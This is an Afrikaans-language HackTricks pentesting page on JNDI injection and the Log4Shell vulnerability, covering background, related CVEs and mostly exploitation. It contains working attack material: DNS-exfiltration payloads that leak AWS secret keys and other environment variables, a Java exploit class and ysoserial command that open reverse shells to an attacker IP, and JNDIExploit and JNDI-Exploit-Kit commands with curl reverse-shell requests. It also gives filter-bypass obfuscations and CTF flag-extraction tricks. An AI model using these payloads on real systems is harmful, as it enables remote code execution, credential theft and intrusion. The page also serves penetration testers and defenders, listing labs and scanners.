# JNDI - Java Naming and Directory Interface & Log4Shell {% hint style="success" %} Leer & oefen AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Leer & oefen GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks * Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)! * **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %} ## Basiese Inligting JNDI, geïntegreer in Java sedert die laat 1990's, dien as 'n katalogusdiens, wat Java-programme in staat stel om data of voorwerpe deur 'n naamgewingstelsel te vind. Dit ondersteun verskeie katalogusdienste via diensverskafferinterfaces (SPIs), wat data-opeising van verskillende stelsels moontlik maak, insluitend afstand Java-voorwerpe. Algemene SPIs sluit CORBA COS, Java RMI Registry, en LDAP in. ### JNDI Naamverwysing Java-voorwerpe kan gestoor en opgeëis word met behulp van JNDI Naamverwysings, wat in twee vorme voorkom: * **Verwysingsadresse**: Gee 'n voorwerp se ligging aan (bv. _rmi://server/ref_), wat direkte opeising vanaf die gespesifiseerde adres moontlik maak. * **Afstandfabriek**: Verwys na 'n afstandfabriek klas. Wanneer dit benader word, word die klas afgelaai en geïnstantieer vanaf die afstand ligging. Hierdie meganisme kan egter uitgebuit word, wat moontlik kan lei tot die laai en uitvoering van arbitrêre kode. As 'n teenmaatreël: * **RMI**: `java.rmi.server.useCodeabseOnly = true` standaard vanaf JDK 7u21, wat die laai van afstandvoorwerpe beperk. 'n Sekuriteitsbestuurder beperk verder wat gelaai kan word. * **LDAP**: `com.sun.jndi.ldap.object.trustURLCodebase = false` standaard vanaf JDK 6u141, 7u131, 8u121, wat die uitvoering van afstand gelaaide Java-voorwerpe blokkeer. As dit op `true` gestel word, is afstandkode-uitvoering moontlik sonder 'n Sekuriteitsbestuurder se toesig. * **CORBA**: Het nie 'n spesifieke eienskap nie, maar die Sekuriteitsbestuurder is altyd aktief. Die **Naambestuurder**, verantwoordelik vir die oplos van JNDI skakels, het egter nie ingeboude sekuriteitsmeganismes nie, wat moontlik die opeising van voorwerpe van enige bron toelaat. Dit stel 'n risiko in die gesig, aangesien RMI, LDAP, en CORBA beskermings omseil kan word, wat lei tot die laai van arbitrêre Java-voorwerpe of die uitbuiting van bestaande toepassingskomponente (gadgets) om kwaadwillige kode te laat loop. Voorbeelde van uitbuitbare URL's sluit in: * _rmi://attacker-server/bar_ * _ldap://attacker-server/bar_ * _iiop://attacker-server/bar_ Ten spyte van beskermings, bly kwesbaarhede bestaan, hoofsaaklik as gevolg van die gebrek aan beskerming teen die laai van JNDI vanaf onbetroubare bronne en die moontlikheid om bestaande beskermings te omseil. ### JNDI Voorbeeld ![](<../../.gitbook/assets/image (1022).png>) Selfs al het jy 'n **`PROVIDER_URL`** gestel, kan jy 'n ander een in 'n opsoek aandui en dit sal benader word: `ctx.lookup("")` en dit is wat 'n aanvaller sal misbruik om arbitrêre voorwerpe van 'n stelsel wat deur hom beheer word, te laai. ### CORBA Oorsig CORBA (Common Object Request Broker Architecture) gebruik 'n **Interoperable Object Reference (IOR)** om afstandvoorwerpe uniek te identifiseer. Hierdie verwysing sluit noodsaaklike inligting in soos: * **Tipe ID**: Unieke identifiseerder vir 'n interface. * **Codebase**: URL om die stub klas te verkry. Merkwaardig is dat CORBA nie van nature kwesbaar is nie. Om sekuriteit te verseker, behels dit tipies: * Installering van 'n **Sekuriteitsbestuurder**. * Konfigurasie van die Sekuriteitsbestuurder om verbindings na moontlik kwaadwillige kodebases toe te laat. Dit kan bereik word deur: * Socket toestemming, bv. `permissions java.net.SocketPermission "*:1098-1099", "connect";`. * Lêer lees toestemming, hetsy universeel (`permission java.io.FilePermission "<>", "read";`) of vir spesifieke gidse waar kwaadwillige lêers geplaas kan word. Sommige verskafferbeleide mag egter toegeeflik wees en hierdie verbindings standaard toelaat. ### RMI Konteks Vir RMI (Remote Method Invocation) is die situasie ietwat anders. Soos met CORBA, is arbitrêre klas aflaai standaard beperk. Om RMI te benut, sal 'n mens tipies die Sekuriteitsbestuurder moet omseil, 'n prestasie wat ook relevant is in CORBA. ### LDAP Eerstens moet ons onderskei tussen 'n Soektog en 'n Opsoek.\ 'n **soektog** sal 'n URL soos `ldap://localhost:389/o=JNDITutorial` gebruik om die JNDITutorial voorwerp van 'n LDAP bediener te vind en **sy eienskappe te verkry**.\ 'n **opsoek** is bedoel vir **naamdienste** aangesien ons **enigiets wat aan 'n naam gebind is, wil kry**. As die LDAP soektog met **SearchControls.setReturningObjFlag() met `true` aangeroep is, sal die teruggegee voorwerp **heropgebou word**. Daarom is daar verskeie maniere om hierdie opsies aan te val.\ 'n **aanvaller kan LDAP rekords vergiftig deur payloads** daarop in te voer wat in die stelsels wat hulle versamel, uitgevoer sal word (baie nuttig om **tientalle masjiene te kompromitteer** as jy toegang tot die LDAP bediener het). 'n Ander manier om dit te benut, sou wees om 'n **MitM-aanval in 'n LDAP soektog** te voer byvoorbeeld. As jy 'n app kan **laat 'n JNDI LDAP UR**L oplos, kan jy die LDAP beheer wat gesoek sal word, en jy kan die uitbuiting terugstuur (log4shell). #### Deserialisering uitbuiting ![](<../../.gitbook/assets/image (275).png>) Die **uitbuiting is geserialiseer** en sal gedeserialiseer word.\ As `trustURLCodebase` `true` is, kan 'n aanvaller sy eie klasse in die kodebasis verskaf, anders sal hy gadgets in die klaspad moet misbruik. #### JNDI Verwysing uitbuiting Dit is makliker om hierdie LDAP aan te val met **JavaFactory verwysings**: ![](<../../.gitbook/assets/image (1059).png>) ## Log4Shell Kwesbaarheid Die kwesbaarheid word in Log4j bekendgestel omdat dit 'n [**spesiale sintaksis**](https://logging.apache.org/log4j/2.x/manual/configuration.html#PropertySubstitution) in die vorm van `${prefix:name}` ondersteun waar `prefix` een van 'n aantal verskillende [**Lookups**](https://logging.apache.org/log4j/2.x/manual/lookups.html) is waar `name` geëvalueer moet word. Byvoorbeeld, `${java:version}` is die huidige lopende weergawe van Java. [**LOG4J2-313**](https://issues.apache.org/jira/browse/LOG4J2-313) het 'n `jndi` Lookup kenmerk bekendgestel. Hierdie kenmerk stel die verkryging van veranderlikes deur JNDI moontlik. Tipies word die sleutel outomaties met `java:comp/env/` voorafgegaan. As die sleutel self egter 'n **":"** insluit, word hierdie standaard voorvoegsel nie toegepas nie. Met 'n **:** in die sleutel, soos in `${jndi:ldap://example.com/a}` is daar **geen voorvoegsel** nie en die **LDAP bediener word gevra vir die voorwerp**. En hierdie Lookups kan in beide die konfigurasie van Log4j sowel as wanneer lyne gelog word, gebruik word. Daarom is die enigste ding wat nodig is om RCE te verkry 'n **kwesbare weergawe van Log4j wat inligting verwerk wat deur die gebruiker beheer word**. En omdat dit 'n biblioteek is wat wyd gebruik word deur Java-toepassings om inligting te log (Internet-gefokusde toepassings ingesluit) was dit baie algemeen om log4j te hê wat byvoorbeeld HTTP kopstukke ontvang het soos die User-Agent. Dit is egter nie net gebruik om HTTP-inligting te log nie, maar enige invoer en data wat die ontwikkelaar aangedui het. ## Oorsig van Log4Shell-verwante CVEs ### [CVE-2021-44228](https://nvd.nist.gov/vuln/detail/CVE-2021-44228) **\[Krities]** Hierdie kwesbaarheid is 'n kritieke **onbetroubare deserialisering fout** in die `log4j-core` komponent, wat weergawes van 2.0-beta9 tot 2.14.1 beïnvloed. Dit stel **afstandkode-uitvoering (RCE)** in staat, wat aanvallers in staat stel om stelsels oor te neem. Die probleem is gerapporteer deur Chen Zhaojun van Alibaba Cloud Security Team en beïnvloed verskeie Apache-raamwerke. Die aanvanklike regstelling in weergawe 2.15.0 was onvolledig. Sigma reëls vir verdediging is beskikbaar ([Reël 1](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web\_cve\_2021\_44228\_log4j\_fields.yml), [Reël 2](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web\_cve\_2021\_44228\_log4j.yml)). ### [CVE-2021-45046](https://nvd.nist.gov/vuln/detail/CVE-2021-45046) **\[Krities]** Aanvanklik laag gegradeer maar later opgradeer na krities, is hierdie CVE 'n **Denial of Service (DoS)** fout wat ontstaan uit 'n onvolledige regstelling in 2.15.0 vir CVE-2021-44228. Dit beïnvloed nie-standaard konfigurasies, wat aanvallers in staat stel om DoS-aanvalle te veroorsaak deur middel van vervaardigde payloads. 'n [tweet](https://twitter.com/marcioalm/status/1471740771581652995) demonstreer 'n omseilingsmetode. Die probleem is opgelos in weergawes 2.16.0 en 2.12.2 deur boodskapsoekpatrone te verwyder en JNDI standaard te deaktiveer. ### [CVE-2021-4104](https://nvd.nist.gov/vuln/detail/CVE-2021-4104) **\[Hoog]** Wat **Log4j 1.x weergawes** in nie-standaard konfigurasies wat `JMSAppender` gebruik, beïnvloed, is hierdie CVE 'n onbetroubare deserialisering fout. Geen regstelling is beskikbaar vir die 1.x tak nie, wat einde-lewe is, en opgradering na `log4j-core 2.17.0` word aanbeveel. ### [CVE-2021-42550](https://nvd.nist.gov/vuln/detail/CVE-2021-42550) **\[Gemiddeld]** Hierdie kwesbaarheid beïnvloed die **Logback lograamwerk**, 'n opvolger van Log4j 1.x. Voorheen as veilig beskou, is die raamwerk kwesbaar bevind, en nuwer weergawes (1.3.0-alpha11 en 1.2.9) is vrygestel om die probleem aan te spreek. ### **CVE-2021-45105** **\[Hoog]** Log4j 2.16.0 bevat 'n DoS fout, wat die vrystelling van `log4j 2.17.0` tot gevolg gehad het om die CVE reg te stel. Verdere besonderhede is in BleepingComputer se [verslag](https://www.bleepingcomputer.com/news/security/upgraded-to-log4j-216-surprise-theres-a-217-fixing-dos/). ### [CVE-2021-44832](https://checkmarx.com/blog/cve-2021-44832-apache-log4j-2-17-0-arbitrary-code-execution-via-jdbcappender-datasource-element/) Wat log4j weergawe 2.17 beïnvloed, vereis hierdie CVE dat die aanvaller die konfigurasielêer van log4j moet beheer. Dit behels potensiële arbitrêre kode-uitvoering via 'n geconfigureerde JDBCAppender. Meer besonderhede is beskikbaar in die [Checkmarx blogpos](https://checkmarx.com/blog/cve-2021-44832-apache-log4j-2-17-0-arbitrary-code-execution-via-jdbcappender-datasource-element/). ## Log4Shell Uitbuiting ### Ontdekking Hierdie kwesbaarheid is baie maklik om te ontdek as dit onbeskermd is omdat dit ten minste 'n **DNS versoek** na die adres wat jy in jou payload aandui, sal stuur. Daarom, payloads soos: * `${jndi:ldap://x${hostName}.L4J.lt4aev8pktxcq2qlpdr5qu5ya.canarytokens.com/a}` (gebruik [canarytokens.com](https://canarytokens.org/generate)) * `${jndi:ldap://c72gqsaum5n94mgp67m0c8no4hoyyyyyn.interact.sh}` (gebruik [interactsh](https://github.com/projectdiscovery/interactsh)) * `${jndi:ldap://abpb84w6lqp66p0ylo715m5osfy5mu.burpcollaborator.net}` (gebruik Burp Suite) * `${jndi:ldap://2j4ayo.dnslog.cn}` (gebruik [dnslog](http://dnslog.cn)) * `${jndi:ldap://log4shell.huntress.com:1389/hostname=${env:HOSTNAME}/fe47f5ee-efd7-42ee-9897-22d18976c520}` (gebruik [huntress](https://log4shell.huntress.com)) Let daarop dat **selfs al 'n DNS versoek ontvang word, dit nie beteken dat die toepassing uitbuitbaar is** (of selfs kwesbaar nie), jy sal moet probeer om dit uit te buit. {% hint style="info" %} Onthou dat om **weergawe 2.15** te exploiteer, jy die **localhost kontrole omseiling** moet byvoeg: ${jndi:ldap://**127.0.0.1#**...} {% endhint %} #### **Plaaslike Ontdekking** Soek na **plaaslike kwesbare weergawes** van die biblioteek met: ```bash find / -name "log4j-core*.jar" 2>/dev/null | grep -E "log4j\-core\-(1\.[^0]|2\.[0-9][^0-9]|2\.1[0-6])" ``` ### **Verifikasie** Sommige van die platforms wat voorheen gelys is, sal jou toelaat om 'n paar veranderlike data in te voeg wat gelog sal word wanneer dit aangevra word.\ Dit kan baie nuttig wees vir 2 dinge: * Om die **kwesbaarheid** te **verifieer** * Om **inligting** te **exfiltreer** deur die kwesbaarheid te misbruik Byvoorbeeld, jy kan iets soos aan vra:\ of soos `${`**`jndi:ldap://jv-${sys:java.version}-hn-${hostName}.ei4frk.dnslog.cn/a}`** en as 'n **DNS-versoek ontvang word met die waarde van die omgewing veranderlike**, weet jy die toepassing is kwesbaar. Ander inligting wat jy kan probeer om te **lek**: ``` ${env:AWS_ACCESS_KEY_ID} ${env:AWS_CONFIG_FILE} ${env:AWS_PROFILE} ${env:AWS_SECRET_ACCESS_KEY} ${env:AWS_SESSION_TOKEN} ${env:AWS_SHARED_CREDENTIALS_FILE} ${env:AWS_WEB_IDENTITY_TOKEN_FILE} ${env:HOSTNAME} ${env:JAVA_VERSION} ${env:PATH} ${env:USER} ${hostName} ${java.vendor} ${java:os} ${java:version} ${log4j:configParentLocation} ${sys:PROJECT_HOME} ${sys:file.separator} ${sys:java.class.path} ${sys:java.class.path} ${sys:java.class.version} ${sys:java.compiler} ${sys:java.ext.dirs} ${sys:java.home} ${sys:java.io.tmpdir} ${sys:java.library.path} ${sys:java.specification.name} ${sys:java.specification.vendor} ${sys:java.specification.version} ${sys:java.vendor.url} ${sys:java.vendor} ${sys:java.version} ${sys:java.vm.name} ${sys:java.vm.specification.name} ${sys:java.vm.specification.vendor} ${sys:java.vm.specification.version} ${sys:java.vm.vendor} ${sys:java.vm.version} ${sys:line.separator} ${sys:os.arch} ${sys:os.name} ${sys:os.version} ${sys:path.separator} ${sys:user.dir} ${sys:user.home} ${sys:user.name} Any other env variable name that could store sensitive information ``` ### RCE Inligting {% hint style="info" %} Gashere wat op JDK weergawes bo 6u141, 7u131, of 8u121 loop, is beskerm teen die LDAP klas laai aanvalsvector. Dit is te danke aan die standaard deaktivering van `com.sun.jndi.ldap.object.trustURLCodebase`, wat voorkom dat JNDI 'n afstandlike kodebasis via LDAP laai. Dit is egter belangrik om te noem dat hierdie weergawes **nie teen die deserialisering aanvalsvector beskerm is**. Vir aanvallers wat daarop gemik is om hierdie hoër JDK weergawes te benut, is dit nodig om 'n **vertroude gadget** binne die Java-toepassing te gebruik. Gereedskap soos ysoserial of JNDIExploit word dikwels vir hierdie doel gebruik. Aan die ander kant is dit relatief makliker om laer JDK weergawes te benut, aangesien hierdie weergawes gemanipuleer kan word om arbitrêre klasse te laai en uit te voer. Vir **meer inligting** (_soos beperkings op RMI en CORBA vektore_) **kyk na die vorige JNDI Naamverwysing afdeling** of [https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/](https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/) {% endhint %} ### RCE - Marshalsec met pasgemaakte payload Jy kan dit in die **THM boks** toets: [**https://tryhackme.com/room/solar**](https://tryhackme.com/room/solar) Gebruik die gereedskap [**marshalsec**](https://github.com/mbechler/marshalsec) (jar weergawe beskikbaar [**hier**](https://github.com/RandomRobbieBF/marshalsec-jar)). Hierdie benadering stel 'n LDAP verwysingsbediener in om verbindings na 'n sekondêre HTTP-bediener te herlei waar die uitbuiting gehos word: ```bash java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://:8000/#Exploit" ``` Om die teiken te versoek om 'n omgekeerde shell kode te laai, maak 'n Java-lêer genaamd `Exploit.java` met die inhoud hieronder: ```java public class Exploit { static { try { java.lang.Runtime.getRuntime().exec("nc -e /bin/bash YOUR.ATTACKER.IP.ADDRESS 9999"); } catch (Exception e) { e.printStackTrace(); } } } ``` Compile die Java-lêer in 'n klaslêer met: `javac Exploit.java -source 8 -target 8`. Volgende, begin 'n **HTTP-bediener** in die gids wat die klaslêer bevat met: `python3 -m http.server`. Verseker dat die **marshalsec LDAP-bediener** na hierdie HTTP-bediener verwys. Trigger die uitvoering van die eksploit klas op die kwesbare webbediener deur 'n payload te stuur wat soos volg lyk: ```bash ${jndi:ldap://:1389/Exploit} ``` **Let wel:** Hierdie uitbuiting hang af van Java se konfigurasie om afstandkodebasis laai via LDAP toe te laat. As dit nie toegelaat word nie, oorweeg dit om 'n vertroude klas te benut vir arbitrêre kode-uitvoering. ### RCE - **JNDIExploit** {% hint style="info" %} Let daarop dat die outeur om een of ander rede hierdie projek van github verwyder het na die ontdekking van log4shell. Jy kan 'n gekapte weergawe vind in [https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2](https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2) maar as jy die besluit van die outeur wil respekteer, gebruik 'n ander metode om hierdie kwesbaarheid te benut. Boonop kan jy nie die bronkode in die wayback machine vind nie, so of jy kan die bronkode analiseer, of die jar uitvoer met die kennis dat jy nie weet wat jy uitvoer nie. {% endhint %} Vir hierdie voorbeeld kan jy net hierdie **kwesbare webbediener vir log4shell** op poort 8080 laat loop: [https://github.com/christophetd/log4shell-vulnerable-app](https://github.com/christophetd/log4shell-vulnerable-app) (_in die README sal jy vind hoe om dit te laat loop_). Hierdie kwesbare app log met 'n kwesbare weergawe van log4shell die inhoud van die HTTP-versoekkop _X-Api-Version_. Dan kan jy die **JNDIExploit** jar-lêer aflaai en dit uitvoer met: ```bash wget https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/download/v1.2/JNDIExploit.v1.2.zip unzip JNDIExploit.v1.2.zip java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 172.17.0.1 -p 8888 # Use your private IP address and a port where the victim will be able to access ``` Na 'n paar minute se lees van die kode, in _com.feihong.ldap.LdapServer_ en _com.feihong.ldap.HTTPServer_ kan jy sien hoe die **LDAP en HTTP bedieners geskep word**. Die LDAP bediener sal verstaan watter payload bedien moet word en sal die slagoffer na die HTTP bediener herlei, wat die exploit sal bedien.\ In _com.feihong.ldap.gadgets_ kan jy **'n paar spesifieke gadgets** vind wat gebruik kan word om die gewenste aksie uit te voer (potensieel om arbitrêre kode uit te voer). En in _com.feihong.ldap.template_ kan jy die verskillende sjabloonklasse sien wat die **exploits sal genereer**. Jy kan al die beskikbare exploits sien met **`java -jar JNDIExploit-1.2-SNAPSHOT.jar -u`**. Sommige nuttige is: ```bash ldap://null:1389/Basic/Dnslog/[domain] ldap://null:1389/Basic/Command/Base64/[base64_encoded_cmd] ldap://null:1389/Basic/ReverseShell/[ip]/[port] # But there are a lot more ``` So, in ons voorbeeld het ons reeds daardie docker kwesbare toepassing wat loop. Om dit aan te val: ```bash # Create a file inside of th vulnerable host: curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}' # Get a reverse shell (only unix) curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/ReverseShell/172.17.0.1/4444}' curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/bmMgMTcyLjE3LjAuMSA0NDQ0IC1lIC9iaW4vc2gK}' ``` Wanneer jy die aanvalle stuur, sal jy 'n paar uitvoer in die terminale sien waar jy **JNDIExploit-1.2-SNAPSHOT.jar** uitgevoer het. **Onthou om `java -jar JNDIExploit-1.2-SNAPSHOT.jar -u` te kontroleer vir ander eksploitasiemogelijkheden. Boonop, in geval jy dit nodig het, kan jy die poort van die LDAP en HTTP bedieners verander.** ### RCE - JNDI-Exploit-Kit Op 'n soortgelyke manier as die vorige eksploit, kan jy probeer om [**JNDI-Exploit-Kit**](https://github.com/pimps/JNDI-Exploit-Kit) te gebruik om hierdie kwesbaarheid te eksploiteer.\ Jy kan die URL's genereer om aan die slagoffer te stuur deur: ```bash # Get reverse shell in port 4444 (only unix) java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.17.0.1:8888 -S 172.17.0.1:4444 # Execute command java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.17.0.1:8888 -C "touch /tmp/log4shell" ``` _Hierdie aanval wat 'n op maat gegenereerde java objek gebruik, sal werk in laboratoriums soos die **THM sonkamer**. Dit sal egter oor die algemeen nie werk nie (aangesien Java nie standaard gekonfigureer is om afstandkodebasis met LDAP te laai nie) ek dink omdat dit nie 'n vertroude klas misbruik om arbitrêre kode uit te voer nie._ ### RCE - JNDI-Injection-Exploit-Plus [https://github.com/cckuailong/JNDI-Injection-Exploit-Plus](https://github.com/cckuailong/JNDI-Injection-Exploit-Plus) is 'n ander hulpmiddel om **werkbare JNDI skakels** te genereer en agtergronddienste te bied deur RMI-bediener, LDAP-bediener en HTTP-bediener te begin.\ ### RCE - ysoserial & JNDI-Exploit-Kit Hierdie opsie is regtig nuttig om **Java weergawes aan te val wat slegs spesifieke klasse vertrou en nie almal nie**. Daarom sal **ysoserial** gebruik word om **serialisasies van vertroude klasse** te genereer wat as gadgets gebruik kan word om **arbitrêre kode** uit te voer (_die vertroude klas wat deur ysoserial misbruik word, moet deur die slagoffer java program gebruik word sodat die ontploffing kan werk_). Met **ysoserial** of [**ysoserial-modified**](https://github.com/pimps/ysoserial-modified) kan jy die deserialisasie ontploffing skep wat deur JNDI afgelaai sal word: ```bash # Rev shell via CommonsCollections5 java -jar ysoserial-modified.jar CommonsCollections5 bash 'bash -i >& /dev/tcp/10.10.14.10/7878 0>&1' > /tmp/cc5.ser ``` Gebruik [**JNDI-Exploit-Kit**](https://github.com/pimps/JNDI-Exploit-Kit) om **JNDI skakels** te genereer waar die ontploffing sal wag vir verbindings van die kwesbare masjiene. Jy kan **verskillende ontploffings bedien wat outomaties gegenereer kan word** deur die JNDI-Exploit-Kit of selfs jou **eie deserialisering payloads** (gegenereer deur jou of ysoserial). ```bash java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 10.10.14.10:1389 -P /tmp/cc5.ser ``` ![](<../../.gitbook/assets/image (1118).png>) Nou kan jy maklik 'n gegenereerde JNDI-skakel gebruik om die kwesbaarheid te benut en 'n **reverse shell** te verkry deur net te stuur na 'n kwesbare weergawe van log4j: **`${ldap://10.10.14.10:1389/generated}`** ### Bypasses ```java ${${env:ENV_NAME:-j}ndi${env:ENV_NAME:-:}${env:ENV_NAME:-l}dap${env:ENV_NAME:-:}//attackerendpoint.com/} ${${lower:j}ndi:${lower:l}${lower:d}a${lower:p}://attackerendpoint.com/} ${${upper:j}ndi:${upper:l}${upper:d}a${lower:p}://attackerendpoint.com/} ${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://attackerendpoint.com/z} ${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//attackerendpoint.com/} ${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://attackerendpoint.com/} ${${::-j}ndi:rmi://attackerendpoint.com/} //Notice the use of rmi ${${::-j}ndi:dns://attackerendpoint.com/} //Notice the use of dns ${${lower:jnd}${lower:${upper:ı}}:ldap://...} //Notice the unicode "i" ``` ### Outomatiese Skanners * [https://github.com/fullhunt/log4j-scan](https://github.com/fullhunt/log4j-scan) * [https://github.com/adilsoybali/Log4j-RCE-Scanner](https://github.com/adilsoybali/Log4j-RCE-Scanner) * [https://github.com/silentsignal/burp-log4shell](https://github.com/silentsignal/burp-log4shell) * [https://github.com/cisagov/log4j-scanner](https://github.com/cisagov/log4j-scanner) * [https://github.com/Qualys/log4jscanwin](https://github.com/Qualys/log4jscanwin) * [https://github.com/hillu/local-log4j-vuln-scanner](https://github.com/hillu/local-log4j-vuln-scanner) * [https://github.com/logpresso/CVE-2021-44228-Scanner](https://github.com/logpresso/CVE-2021-44228-Scanner) * [https://github.com/palantir/log4j-sniffer](https://github.com/palantir/log4j-sniffer) - Vind plaaslike kwesbare biblioteke ### Laboratoriums om te toets * [**LogForge HTB masjien**](https://app.hackthebox.com/tracks/UHC-track) * [**Try Hack Me Solar kamer**](https://tryhackme.com/room/solar) * [**https://github.com/leonjza/log4jpwn**](https://github.com/leonjza/log4jpwn) * [**https://github.com/christophetd/log4shell-vulnerable-app**](https://github.com/christophetd/log4shell-vulnerable-app) ## Post-Log4Shell Exploitatie In hierdie [**CTF skrywe**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/) word goed verduidelik hoe dit potensieel **moontlik** is om **misbruik** te maak van sommige funksies van **Log4J**. Die [**veiligheidsbladsy**](https://logging.apache.org/log4j/2.x/security.html) van Log4j het 'n paar interessante sinne: > Vanaf weergawe 2.16.0 (vir Java 8), is die **boodskap soekfunksie heeltemal verwyder**. **Soek in konfigurasie werk steeds**. Verder, Log4j deaktiveer nou toegang tot JNDI standaard. JNDI soektogte in konfigurasie moet nou eksplisiet geaktiveer word. > Vanaf weergawe 2.17.0, (en 2.12.3 en 2.3.1 vir Java 7 en Java 6), **word slegs soekstringe in konfigurasie rekursief uitgebrei**; in enige ander gebruik, word slegs die boonste vlak soektog opgelos, en enige geneste soektogte word nie opgelos nie. Dit beteken dat jy standaard kan **vergeet om enige `jndi` exploit te gebruik**. Boonop, om **rekursiewe soektogte** uit te voer, moet jy dit konfigureer. Byvoorbeeld, in daardie CTF was dit in die lêer log4j2.xml geconfigureer: ```xml ``` ### Omgewingssoektogte In [hierdie CTF](https://sigflag.at/blog/2022/writeup-googlectf2022-log4j/) het die aanvaller die waarde van `${sys:cmd}` beheer en moes die vlag uit 'n omgewingsveranderlike onttrek.\ Soos gesien op hierdie bladsy in [**vorige payloads**](jndi-java-naming-and-directory-interface-and-log4shell.md#verification) is daar verskillende maniere om omgewingsveranderlikes te benader, soos: **`${env:FLAG}`**. In hierdie CTF was dit nutteloos, maar dit mag nie in ander werklike lewenscenario's wees nie. ### Onttrekking in Uitsonderings In die CTF kon jy **nie die stderr** van die java-toepassing met log4J toegang nie, maar Log4J **uitsonderings word na stdout gestuur**, wat in die python-toepassing gedruk is. Dit het beteken dat deur 'n uitsondering te aktiveer, kon ons die inhoud toegang. 'n Uitsondering om die vlag te onttrek was: **`${java:${env:FLAG}}`.** Dit werk omdat **`${java:CTF{blahblah}}`** nie bestaan nie en 'n uitsondering met die waarde van die vlag sal vertoon word: ![](<../../.gitbook/assets/image (1023).png>) ### Omsettingspatrone Uitsonderings Net om dit te noem, jy kan ook nuwe [**omsettingspatrone**](https://logging.apache.org/log4j/2.x/manual/layouts.html#PatternLayout) inspuit en uitsonderings aktiveer wat na `stdout` gelog sal word. Byvoorbeeld: ![](<../../.gitbook/assets/image (683).png>) Dit was nie nuttig gevind om data binne die foutboodskap te onttrek nie, omdat die soektog nie opgelos is voor die omsettingspatroon nie, maar dit kan nuttig wees vir ander dinge soos opsporing. ### Omsettingspatrone Regexes Dit is egter moontlik om sommige **omsettingspatrone wat regexes ondersteun** te gebruik om inligting uit 'n soektog te onttrek deur regexes te gebruik en **binaire soektog** of **tydgebaseerde** gedrag te misbruik. * **Binaire soektog via uitsonderingsboodskappe** Die omsettingspatroon **`%replace`** kan gebruik word om **inhoud** van 'n **string** te **vervang**, selfs met **regexes**. Dit werk soos volg: `replace{pattern}{regex}{substitution}`\ Deur hierdie gedrag te misbruik, kan jy maak dat vervang **'n uitsondering aktiveer as die regex enige iets binne die string ooreenstem** (en geen uitsondering as dit nie gevind is nie) soos volg: ```bash %replace{${env:FLAG}}{^CTF.*}{${error}} # The string searched is the env FLAG, the regex searched is ^CTF.* ## and ONLY if it's found ${error} will be resolved with will trigger an exception ``` * **Tyd-gebaseerd** Soos in die vorige afdeling genoem, ondersteun **`%replace`** **regexes**. Dit is dus moontlik om 'n payload van die [**ReDoS-bladsy**](../regular-expression-denial-of-service-redos.md) te gebruik om 'n **tyd-oorskryding** te veroorsaak in die geval dat die vlag gevind word.\ Byvoorbeeld, 'n payload soos `%replace{${env:FLAG}}{^(?=CTF)((.`_`)`_`)*salt$}{asd}` sou 'n **tyd-oorskryding** in daardie CTF veroorsaak. In hierdie [**skrywe**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/), in plaas daarvan om 'n ReDoS-aanval te gebruik, is 'n **versterking-aanval** gebruik om 'n tydverskil in die antwoord te veroorsaak: > ``` > /%replace{ > %replace{ > %replace{ > %replace{ > %replace{ > %replace{ > %replace{${ENV:FLAG}}{CTF\{" + flagGuess + ".*\}}{#############################} > }{#}{######################################################} > }{#}{######################################################} > }{#}{######################################################} > }{#}{######################################################} > }{#}{######################################################} > }{#}{######################################################} > }{#}{######################################################} > }{#}{######################################################} > ``` > > As die vlag begin met `flagGuess`, word die hele vlag vervang met 29 `#`-s (Ek het hierdie karakter gebruik omdat dit waarskynlik nie deel van die vlag sal wees nie). **Elke van die resulterende 29 `#`-s word dan vervang deur 54 `#`-s**. Hierdie proses word **6 keer** herhaal, wat lei tot 'n totaal van ` 29*54*54^6* =`` `` `**`96816014208`** **`#`-s!** > > Om soveel `#`-s te vervang, sal die 10-sekonde tyd-oorskryding van die Flask-toepassing aktiveer, wat op sy beurt sal lei tot die HTTP-statuskode 500 wat aan die gebruiker gestuur word. (As die vlag nie met `flagGuess` begin nie, sal ons 'n nie-500 statuskode ontvang) ## Verwysings * [https://blog.cloudflare.com/inside-the-log4j2-vulnerability-cve-2021-44228/](https://blog.cloudflare.com/inside-the-log4j2-vulnerability-cve-2021-44228/) * 